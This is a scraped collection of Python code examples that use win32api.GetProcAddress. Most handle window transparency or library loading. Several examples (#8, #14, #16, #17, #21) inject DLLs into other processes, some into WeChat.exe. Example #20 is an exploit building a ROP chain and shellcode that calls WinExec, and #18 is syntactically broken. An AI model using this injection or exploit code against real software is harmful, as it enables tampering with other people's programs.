Exemple #1
0
    def __init__(self, atlasPath=None, direction=2):
        """Intialise the Atlas translation engine
        Args: atlasPath: a path to atlas; will try and figure it out from registry if not given
              direction: 1 = JP to ENG, 2 = ENG to JP
        """
        if atlasPath is None:
            try:
                atlasPath = findAtlasPath()
            except MissingAtlasException:
                print("Could not find ATLAS Translator")

        atlecont = win32api.LoadLibraryEx(
            os.path.join(atlasPath, "AtleCont.dll"), 0,
            LOAD_WITH_ALTERED_SEATCH_PATH)

        self.createEngine = createEngineType(
            win32api.GetProcAddress(atlecont, "CreateEngine"))
        self.destroyEngine = destroyEngineType(
            win32api.GetProcAddress(atlecont, "DestroyEngine"))
        self.translatePair = translatePairType(
            win32api.GetProcAddress(atlecont, "TranslatePair"))
        self.atlInitEngineData = atlInitEngineDataType(
            win32api.GetProcAddress(atlecont, "AtlInitEngineData"))
        self.freeAtlasData = freeAtlasDataType(
            win32api.GetProcAddress(atlecont, "FreeAtlasData"))

        intarray1 = intarrayType()
        intarray2 = intarrayType()
        genString = b'General'
        ret = self.atlInitEngineData(c_int(0), c_int(2), byref(intarray1),
                                     c_int(0), byref(intarray2))
        if ret != 0: raise AtlasInitErrorException()
        ret2 = self.createEngine(c_int(1), c_int(direction), c_int(0),
                                 c_char_p(genString))
        if ret2 != 1: raise AtlasInitErrorException()
Exemple #2
0
    def MakeTransparent(self, amount):
        """
        This is how the method SetTransparent() is implemented
            on all MS Windows platforms.
        """
        import os
        if os.name == 'nt':  # could substitute: sys.platform == 'win32'

            hwnd = self.GetHandle()
            try:
                import ctypes  # DLL library interface constants' definitions
                _winlib = ctypes.windll.user32  # create object to access DLL file user32.dll
                style = _winlib.GetWindowLongA(hwnd, '0xffff')
                style |= 0x00080000
                _winlib.SetWindowLongA(hwnd, '0xffff', style)
                _winlib.SetLayeredWindowAttributes(hwnd, 0, amount, 2)

            except ImportError:

                import win32api
                import win32con
                import winxpgui
                _winlib = win32api.LoadLibrary("user32")
                pSetLayeredWindowAttributes = win32api.GetProcAddress(
                    _winlib, "SetLayeredWindowAttributes")
                if pSetLayeredWindowAttributes == None:
                    return
                exstyle = win32api.GetWindowLong(hwnd, win32con.GWL_EXSTYLE)
                if 0 == (exstyle & 0x80000):
                    win32api.SetWindowLong(hwnd, win32con.GWL_EXSTYLE,
                                           exstyle | 0x80000)
                winxpgui.SetLayeredWindowAttributes(hwnd, 0, amount, 2)
        else:
            print('OS Platform must be MS Windows')
            self.Destroy()
Exemple #3
0
 def runtimeResolve(funcName):
     try:
         addr = win32api.GetProcAddress(dllhandle, funcName)
     except pywintypes.error:
         raise RuntimeError("Unable to resolve external symbol '%s'" %
                            funcName)
     return addr
Exemple #4
0
def setTransparency(hwnd, amount):
    """
	This is how the method SetTransparent()is implemented
	 on all MS Windows platforms.
	"""
    try:
        import ctypes
        _winlib = ctypes.windll.user32
        style = _winlib.GetWindowLongA(hwnd, 0xffffffecL)
        style |= 0x00080000
        _winlib.SetWindowLongA(hwnd, 0xffffffecL, style)
        _winlib.SetLayeredWindowAttributes(hwnd, 0, amount, 2)
    except ImportError:
        import win32api
        import win32con
        import winxpgui
        _winlib = win32api.LoadLibrary("user32")
        pSetLayeredWindowAttributes = win32api.GetProcAddress(
            _winlib, "SetLayeredWindowAttributes")
        if pSetLayeredWindowAttributes is None:
            return
        exstyle = win32api.GetWindowLong(hwnd, win32con.GWL_EXSTYLE)
        if (exstyle & 0x80000) == 0:
            win32api.SetWindowLong(hwnd, win32con.GWL_EXSTYLE,
                                   exstyle | 0x80000)
    winxpgui.SetLayeredWindowAttributes(hwnd, 0, amount, 2)
Exemple #5
0
    def MakeTransparent(self, alpha):
        import os, sys

        # input parameter Excel you from 0 to 100 to be consistent with other
        # transparency models.
        # The method below takes a value from 0 to 255.  Need to make the mapping.
        winAlpha = int(alpha * 2.55)

        if sys.platform == 'win32':
            hwnd = self.GetHandle()
            try:
                import ctypes  # DLL library interface constants' definitions
                _winlib = ctypes.windll.user32  # create object to access DLL file user32.dll
                style = _winlib.GetWindowLongA(hwnd, 0xffffffecL)
                style |= 0x00080000
                _winlib.SetWindowLongA(hwnd, 0xffffffecL, style)
                _winlib.SetLayeredWindowAttributes(hwnd, 0, winAlpha, 2)

            except ImportError:
                import win32api, win32con, winxpgui
                _winlib = win32api.LoadLibrary("user32")
                pSetLayeredWindowAttributes = win32api.GetProcAddress(
                    _winlib, "SetLayeredWindowAttributes")
                if pSetLayeredWindowAttributes == None:
                    return
                exstyle = win32api.GetWindowLong(hwnd, win32con.GWL_EXSTYLE)
                if 0 == (exstyle & 0x80000):
                    win32api.SetWindowLong(hwnd, win32con.GWL_EXSTYLE,
                                           exstyle | 0x80000)
                winxpgui.SetLayeredWindowAttributes(hwnd, 0, amount, 2)
        else:
            print '####  OS Platform must be MS Windows'
            self.Destroy()
Exemple #6
0
 def getModuleFunctionAddress(func, module=None):
     """
 @param  func  str
 @param  module  str
 @return  int  address
 """
     return win32api.GetProcAddress(win32api.GetModuleHandle(module), func)
Exemple #7
0
def unloadDll(pid, libName):
    proc = None
    hModuleSnap = c_void_p(0)
    me32 = MODULEENTRY32()
    me32.dwSize = sizeof(MODULEENTRY32)
    try:
        mod = None
        CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot
        hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
        ret = ctypes.windll.kernel32.Module32First(hModuleSnap, pointer(me32))
        if ret == 0:
            print " Module32First Error"
            ctypes.windll.kernel32.CloseHandle(hModuleSnap)
            return False

        while ret:
            if me32.szModule == libName or me32.szExePath == libName:
                mod = me32
                break
            ret = ctypes.windll.kernel32.Module32Next(hModuleSnap,
                                                      pointer(me32))
        if not mod:
            print u'没有在进程中找到DLL模块'
            return False
        proc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, 0, pid)
        faddr = win32api.GetProcAddress(win32api.GetModuleHandle('kernel32'),
                                        'FreeLibrary')
        if not ctypes.windll.kernel32.CreateRemoteThread(
                proc.handle, 0, 0, faddr, mod.modBaseAddr, 0, 0):
            return False
        return True
    except Exception, e:
        print str(e)
        return False
Exemple #8
0
def injectDll(pid, path, buf=ctypes.create_unicode_buffer(256)):
    proc = None
    try:
        proc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, 0, pid)
        vaddr = ctypes.windll.kernel32.VirtualAllocEx(proc.handle, 0,
                                                      len(path) * 2 + 1,
                                                      win32con.MEM_COMMIT,
                                                      win32con.PAGE_READWRITE)
        if not vaddr:
            return False
        buf.value = path
        if not ctypes.windll.kernel32.WriteProcessMemory(
                proc.handle, vaddr, buf,
                len(path) * 2, 0):
            return False
        faddr = win32api.GetProcAddress(win32api.GetModuleHandle('kernel32'),
                                        'LoadLibraryW')
        if not ctypes.windll.kernel32.CreateRemoteThread(
                proc.handle, 0, 0, faddr, vaddr, 0, 0):
            return False
        return True
    except Exception, e:
        print str(e)

        return False
    def testProcAddress(self):
        """Test that system maps 'raise' procedure of 'MSVCR71' module
        at the same address for all python processes.

        XXX This test should be more complete, as an example test if
        the address is the same for process under a different user
        account.
        """

        # get the address in our address space
        mod = win32api.GetModuleHandle("MSVCR71")
        address = win32api.GetProcAddress(mod, "raise")

        #         command = """import win32api
        #             mod = win32api.GetModuleHandle('MSVCR71')
        #             print win32api.GetProcAddress(mod, 'raise')
        #             """

        # run several python processes
        for i in range(10):
            stdin, stdout = os.popen4("python -")
            stdin.write("import win32api\n")
            stdin.write("mod = win32api.GetModuleHandle('MSVCR71')\n")
            stdin.write("print win32api.GetProcAddress(mod, 'raise')\n")
            #            stdin.write(command)
            stdin.close()
            remoteAddress = int(stdout.read())

            self.failUnlessEqual(address, remoteAddress)
Exemple #10
0
    def MakeWindowTransparent(self, amount):
        """
        Makes the :class:`SuperToolTip` window transparent.

        :param `amount`: the alpha channel value.

        :note: This method is available only on Windows and requires Mark Hammond's
         pywin32 package.
        """

        if not _libimported:
            # No way, only Windows XP with Mark Hammond's win32all
            return

        # this API call is not in all SDKs, only the newer ones, so
        # we will runtime bind this
        if wx.Platform != "__WXMSW__":
            return

        hwnd = self.GetHandle()

        if not hasattr(self, "_winlib"):
            self._winlib = win32api.LoadLibrary("user32")

        pSetLayeredWindowAttributes = win32api.GetProcAddress(self._winlib,
                                                              "SetLayeredWindowAttributes")

        if pSetLayeredWindowAttributes == None:
            return

        exstyle = win32api.GetWindowLong(hwnd, win32con.GWL_EXSTYLE)
        if 0 == (exstyle & 0x80000):
            win32api.SetWindowLong(hwnd, win32con.GWL_EXSTYLE, exstyle | 0x80000)

        winxpgui.SetLayeredWindowAttributes(hwnd, 0, amount, 2)
Exemple #11
0
 def testOtherHandle(self):
     h = pywintypes.HANDLE(1)
     h2 = pywintypes.HANDLE(h)
     self.assertEqual(h, h2)
     # but the above doesn't really test everything - we want a way to
     # pass the handle directly into PyWinLong_AsVoidPtr.  One way to
     # to that is to abuse win32api.GetProcAddress() - the 2nd param
     # is passed to PyWinLong_AsVoidPtr() if its not a string.
     # passing a handle value of '1' should work - there is something
     # at that ordinal
     win32api.GetProcAddress(sys.dllhandle, h)
Exemple #12
0
 def MakeTransparent(self, amount):
     if os.name == 'nt':  # could substitute: sys.platform == 'win32'
         hwnd = self.GetHandle()
         _winlib = win32api.LoadLibrary("user32")
         pSetLayeredWindowAttributes = win32api.GetProcAddress(
             _winlib, "SetLayeredWindowAttributes")
         if pSetLayeredWindowAttributes is None:
             return
         exstyle = win32api.GetWindowLong(hwnd, win32con.GWL_EXSTYLE)
         if 0 == (exstyle & 0x80000):
             exstyle |= win32con.WS_EX_LAYERED | win32con.WS_EX_TOOLWINDOW | win32con.WS_EX_TRANSPARENT
             win32api.SetWindowLong(hwnd, win32con.GWL_EXSTYLE, exstyle)
         win32gui.SetLayeredWindowAttributes(hwnd, 0, amount, 2)
     else:
         print('####  OS Platform must be MS Windows')
         self.Destroy()
Exemple #13
0
def kill(pid, graceperiod=5000):
    success = False
    for child in getChildrenPidsOfPid(pid):
        kill(child, graceperiod)
        time.sleep(5)
    handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, pid)
    exitcode = win32process.GetExitCodeProcess(handle)
    if exitcode == win32con.STILL_ACTIVE:
        hKernel = win32api.GetModuleHandle("Kernel32")
        procExit = win32api.GetProcAddress(hKernel, "ExitProcess")
        hRemoteT = ctypes.windll.kernel32.CreateRemoteThread(
            handle.handle, None, 0, procExit, ctypes.c_void_p(-1), 0, None)
        if hRemoteT:
            retval = win32event.WaitForSingleObject(handle, graceperiod)
            if retval != win32con.WAIT_OBJECT_0:
                win32api.TerminateProcess(handle, -1)
            win32api.CloseHandle(hRemoteT)
            success = True
    else:
        success = True
    win32api.CloseHandle(handle)
    return success
Exemple #14
0
 def __hook(self):
     PAGE_READWRITE = 0x00000040
     PROCESS_ALL_ACCESS =  (0x000F0000|0x00100000|0xFFF)
     VIRTUAL_MEM = (0x00001000 | 0x00002000)
     dll_path = bytes((os.path.abspath('.')+"\\version2.9.0.123-4.5.7.71.dll").encode('utf-8'))
     print(dll_path)
     dll_len = len(dll_path)
     kernel32 = ctypes.windll.kernel32
     wechat_path = ''
     #第一步获取整个系统的进程快照
     pids = psutil.pids()
     #第二步在快照中去比对进程名
     for pid in pids:
         p= psutil.Process(pid)
         try:
             if p.name()=='WeChat.exe':
                 wechat_path = p.cwd()
                 break
             else:
                 pid = 0
         except:
             pass
     #第三步用找到的pid去打开进程获取到句柄
     if pid == 0:
         self.hookStateSignal.emit('NOT_FOUND_WECHAT')
     else:
         h_process=kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,(pid))
         if not h_process:
             self.hookStateSignal.emit('ERROR')
             return
         else:
             arg_adress=kernel32.VirtualAllocEx(h_process,None,dll_len*10,VIRTUAL_MEM,PAGE_READWRITE)
             NULL = c_int(0)
             kernel32.WriteProcessMemory(h_process,arg_adress,dll_path,dll_len*10,NULL)
             h_kernel32 = win32api.GetModuleHandle("kernel32.dll")
             h_loadlib = win32api.GetProcAddress(h_kernel32, 'LoadLibraryA')
             thread_id = c_ulong(0)
             c_remt = kernel32.CreateRemoteThread(h_process,None,0,c_long(h_loadlib),arg_adress,0,byref(thread_id))
             self.hookStateSignal.emit('SUCCESS')
    def MakeTransparent(self, amount):
        hwnd = self.GetHandle()
        try:
            import ctypes
            _winlib = ctypes.windll.user32
            style = _winlib.GetWindowLongA(hwnd, 0xffffffecL)
            style |= 0x00080000
            _winlib.SetWindowLongA(hwnd, 0xffffffecL, style)
            _winlib.SetLayeredWindowAttributes(hwnd, 0, amount, 2)

        except ImportError:
            import win32api, win32con, winxpgui
            _winlib = win32api.LoadLibrary("user32")
            pSetLayeredWindowAttributes = win32api.GetProcAddress(
                _winlib, "SetLayeredWindowAttributes")
            if pSetLayeredWindowAttributes == None:
                return
            exstyle = win32api.GetWindowLong(hwnd, win32con.GWL_EXSTYLE)
            if 0 == (exstyle & 0x80000):
                win32api.SetWindowLong(hwnd, win32con.GWL_EXSTYLE,
                                       exstyle | 0x80000)
            winxpgui.SetLayeredWindowAttributes(hwnd, 0, amount, 2)
def hook():
    PAGE_READWRITE = 0x00000040
    PROCESS_ALL_ACCESS =  (0x000F0000|0x00100000|0xFFF)
    VIRTUAL_MEM = (0x00001000 | 0x00002000)
    dll_path = bytes((os.path.abspath('.')+"\\SendMessage.dll").encode('utf-8'))
    print(dll_path)
    dll_len = len(dll_path)
    kernel32 = ctypes.windll.kernel32
    #第一步获取整个系统的进程快照
    pids = psutil.pids()
    #第二步在快照中去比对进程名
    for pid in pids:
        p= psutil.Process(pid)
        if p.name()=='WeChat.exe':
            shuju_data.wechet_lujian = p.cwd()
            break
        else:
            pid = 0
    #第三步用找到的pid去打开进程获取到句柄
    if pid == 0:
        return 0
    else:
        h_process=kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,(pid))
        if not h_process:
            return 0
        else:
            arg_adress=kernel32.VirtualAllocEx(h_process,None,dll_len*10,VIRTUAL_MEM,PAGE_READWRITE)
            NULL = c_int(0)
            kernel32.WriteProcessMemory(h_process,arg_adress,dll_path,dll_len*10,NULL)
            h_kernel32 = win32api.GetModuleHandle("kernel32.dll")
            h_loadlib = win32api.GetProcAddress(h_kernel32, 'LoadLibraryA')
            thread_id = c_ulong(0)
            c_remt = kernel32.CreateRemoteThread(h_process,None,0,h_loadlib,arg_adress,0,byref(thread_id))
            return 1
            if not c_remt:
                return 0
Exemple #17
0
def dllinject(dllpath, pid):
    ret = False
    PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
    proc_handle = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, None,
                                                     pid)

    if proc_handle is not None:
        MEM_COMMIT = 0x00001000
        MEM_RESERVE = 0x00002000
        PAGE_EXECUTE_READWRITE = 0x40
        temp_buffer = bytearray() + ctypes.create_string_buffer(dllpath).raw
        alloc_address = ctypes.windll.kernel32.VirtualAllocEx(
            proc_handle, None, len(temp_buffer), MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE)
        if alloc_address is not None:
            c_buffer = (ctypes.c_char *
                        len(temp_buffer)).from_buffer(temp_buffer)
            if ctypes.windll.kernel32.WriteProcessMemory(
                    proc_handle, alloc_address, c_buffer, len(temp_buffer),
                    None):
                import win32api
                h_kernel32 = win32api.GetModuleHandle('kernel32.dll')
                h_loadlib = win32api.GetProcAddress(h_kernel32, 'LoadLibraryA')
                thread = ctypes.windll.kernel32.CreateRemoteThread(
                    proc_handle, None, 0, h_loadlib, alloc_address, 0, None)
                if thread is not None:
                    INFINITE = 0xFFFFFFFF
                    ctypes.windll.kernel32.WaitForSingleObject(
                        thread, INFINITE)
                    MEM_RELEASE = 0x8000
                    if ctypes.windll.kernel32.VirtualFreeEx(
                            proc_handle, alloc_address, 0, MEM_RELEASE):
                        ret = True
    if proc_handle is not None:
        ctypes.windll.kernel32.CloseHandle(proc_handle)
    return ret
Exemple #18
0
	
global li
li=[]
cmd=[]

if(len(list1)!=0):
	for n in list1:
		cmd.append((n.strip('\r\n')))   
		addlaunch(n.strip('\r\n'))
		
	
root.resizable(0,0)
root.wm_attributes("-topmost", 1,"-alpha",TRANSPARENT)
myH= int(eval(root.wm_frame()))
root.title('nul')
dock.pack(side=TOP, fill=X)
dock.update()
root.update()
mainloop()


#=============================================================
#eg2:

import win32api
lib_hnd = win32api.LoadLibrary( "user32.dll" )
if lib_hnd:
fn_addr = win32api.GetProcAddress( lib_hnd, "MessageBeep" ) # returns int(2010532466)
if fn_addr:
# Here I'd like to call fn_addr. In C it would be plain fn_addr()
win32api.FreeLibrary( lib_hnd )
Exemple #19
0
import socket, struct, binascii, array, time, win32api

handle = win32api.GetModuleHandle("kernel32.dll")
gtMdlH = win32api.GetProcAddress(handle, "GetModuleHandleW")
winExec = win32api.GetProcAddress(handle, "WinExec")
winexec_offset = winExec - gtMdlH

p = lambda x: struct.pack("<L", x)
u = lambda x: struct.unpack("<I", x)


def signedHex(val, nbits):
    return hex((val + (1 << nbits)) % (1 << nbits))


def hexIt(x):
    val = x
    val = binascii.unhexlify(val.encode("hex"))
    y = array.array('h', val)
    y.byteswap()
    val = u(val)
    val = val[0]
    return val


s = socket.create_connection(("127.0.0.1", 27015))
s.send("Hola loco ")

for i in range(4):
    time.sleep(1)
    print "[%d]" % i
Exemple #20
0
import subprocess, struct, win32api


def s(x):
    return struct.pack("<I", x)


handle = win32api.GetModuleHandle("kernel32.dll")
virtualAlloc = win32api.GetProcAddress(handle, "VirtualAlloc")
winExec = win32api.GetProcAddress(handle, "WinExec")
exitProcess = win32api.GetProcAddress(handle, "ExitProcess")

if virtualAlloc > winExec:
    winExec_offset = 0xfffff & (virtualAlloc - winExec)
    op1 = "\x2d"
else:
    winExec_offset = 0xfffff & (winExec - virtualAlloc)
    op1 = "\x05"

if virtualAlloc > exitProcess:
    exitProcess_offset = 0xfffff & (virtualAlloc - exitProcess)
    op2 = "\x2d"
else:
    exitProcess_offset = 0xfffff & (exitProcess - virtualAlloc)
    op2 = "\x05"

rop = s(0x1010158e)  # pop esi, ret
rop += s(0x10103020 + 0x74)  # ptr_malloc
rop += s(0x101018f0)  # jmp [esi - 0x74]

shellcode = "\x33\xD2\xEB\x1F\x5B\x53\xB9\x54\x30\x10\x10\x8B\x01" + op1 + s(
Exemple #21
0
            break
        else:
            proc = 0
    except (psutil.AccessDenied, psutil.NoSuchProcess):
        print("无 Permission or process")
#第三步用找到的pid去打开进程获取到句柄

if proc == 0:
    print("没有找到微信或者微信没有启动")
else:
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, (proc.pid))
    print('%x' % h_process)
    if not h_process:
        print('进程打开失败权限不足')
    else:
        arg_adress = kernel32.VirtualAllocEx(h_process, None, dll_len * 10,
                                             VIRTUAL_MEM, PAGE_READWRITE)
        print('%x' % arg_adress)
        NULL = c_int(0)
        whhh = kernel32.WriteProcessMemory(h_process, arg_adress, dll_path,
                                           dll_len * 10, NULL)
        h_kernel32 = win32api.GetModuleHandle("kernel32.dll")
        h_loadlib = win32api.GetProcAddress(h_kernel32, 'LoadLibraryA')
        print('%x' % h_kernel32, '%x' % h_loadlib)
        thread_id = c_ulong(0)
        c_remt = kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib,
                                             arg_adress, 0, byref(thread_id))
        print('%x' % c_remt)
        if not c_remt:
            print("[!] Failed to inject DLL, exit...")
Exemple #22
0
logger = logging.getLogger('reload_win32.reloader')
# logger.setLevel(logging.DEBUG)
consoleHandler = logging.StreamHandler()
formatter = logging.Formatter(logging.BASIC_FORMAT)
consoleHandler.setFormatter(formatter)
logger.addHandler(consoleHandler)

# app_starter_windows_class_name = None

pipeName = r'\\.\pipe\%s' % uuid.uuid4()

###

# https://github.com/mozilla/build-tools/blob/c212285a4936566b6761b83bb6b6136c88b4383c/buildfarm/utils/win32_util.py
hKernel = win32api.GetModuleHandle("Kernel32")
exitThread = win32api.GetProcAddress(hKernel, "ExitThread")

###

# callable_str = None
workingDirectory = None
cancel_termination_watching_event = win32event.CreateEvent(None, 0, 0, None)
createProcess_cmdline = None

hwndAppStarter = None


class ProcessHandler(object):
    def __init__(self):
        self.hProcess = None
        self.hThread = None
Exemple #23
0
    def init(self):
        """
    @return  bool
    @raise
    """
        # Get DLL location
        dllHandle = self.dll._handle  # DWORD module
        dllPath = win32api.GetModuleFileName(dllHandle)
        appDir = os.path.dirname(dllPath)  # TransCAT location

        appDir = self._normalizeDirPath(appDir)

        tempDir = self.tempDir
        if not tempDir:
            tempDir = ''
        else:
            if not os.path.exists(tempDir):
                os.makedirs(tempDir)
            tempDir = self._normalizeDirPath(tempDir)

        # Import needed Windows functions
        kernel32 = ctypes.windll.kernel32
        GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS = 4  # not exist in win32con
        GetModuleHandleExA = kernel32.GetModuleHandleExA
        VirtualProtect = kernel32.VirtualProtect

        pFuncAddr = win32api.GetProcAddress(dllHandle, "GSetJK_ITEngineEx")
        hModule = ctypes.c_long(0)
        GetModuleHandleExA(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, pFuncAddr,
                           ctypes.byref(hModule))
        hModule = hModule.value  # convert to C long type

        # Hack dll memory or it will raise illegal access to 0xeb error
        EDIT_CODE = 0xeb
        for offset, permission in (
            (0xfc80, win32con.PAGE_READWRITE),
            (0xfc98, win32con.PAGE_EXECUTE_READWRITE),
        ):
            dwOldProtect = ctypes.c_long(0)
            VirtualProtect(hModule + offset, 1, permission,
                           ctypes.byref(dwOldProtect))
            ctypes.memset(hModule + offset, EDIT_CODE, 1)
            dwTmpProtect = ctypes.c_long(0)
            VirtualProtect(hModule + offset, 1, dwOldProtect,
                           ctypes.byref(dwTmpProtect))

        # *_PJK files must be in a directory where VNR always have read/write permission
        # By default, TransCAT is installed to ProgramFiles which require admin privilege to modify.

        dll = self.dll

        dll.GSetJK_gdDir(
            1, appDir)  # optional if it is the same as the current directory
        dll.GSetJK_gdTempGenbun(
            1, tempDir +
            "GENBUN_PJK")  # VNR must have read/write access to this temp file
        dll.GSetJK_gdTempTerget(
            1, tempDir +
            "TERGET_PJK")  # VNR must have read/write access to this temp file
        dll.GSetJK_gdTempMorph(
            1, tempDir +
            "MORPH_PJK")  # VNR must have read/write access to this temp file
        dll.GSetJK_gdTempChnGen(
            1, tempDir +
            "KRNGEN_PJK")  # VNR must have read/write access to this temp file
        dll.GSetJK_gQUESTIONMARK(1, 0)
        dll.GSetJK_gEXCLAMATION(1, 0)
        dll.GSetJK_gSEMICOLONMARK(1, 0)
        dll.GSetJK_gCOLONMARK(1, 0)
        dll.GSetJK_gdChudanFlag(0, 0)
        dll.GSetJK_gdUseShiftJisCode(1, 1)
        dll.GSetJK_gdDdeSpaceCut(1, 0)
        dll.GSetJK_gnDdeTransFlag(1, 0)
        dll.GSetJK_gdFileTransFlag(1, 0)
        dll.GSetJK_gdLineFlag(1, 2)
        dll.GSetJK_gdLineLength(1, 48)
        dll.GSetJK_gdPeriodOnly(1, 0)
        dll.GSetJK_gdUseGairaiFlag(1, 0)
        dll.GSetJK_gdUseKanjiFlag(1, 1)
        dll.GSetJK_gbUnDDE(1, 0)

        dll.ControlJK_UserDic(1)
        dll.GSetJK_UserDicInit()

        s = ''  # char s[1] = {'0'};
        res = dll.GSetJK_ITEngineEx(s, s)
        ok = res == 1
        return ok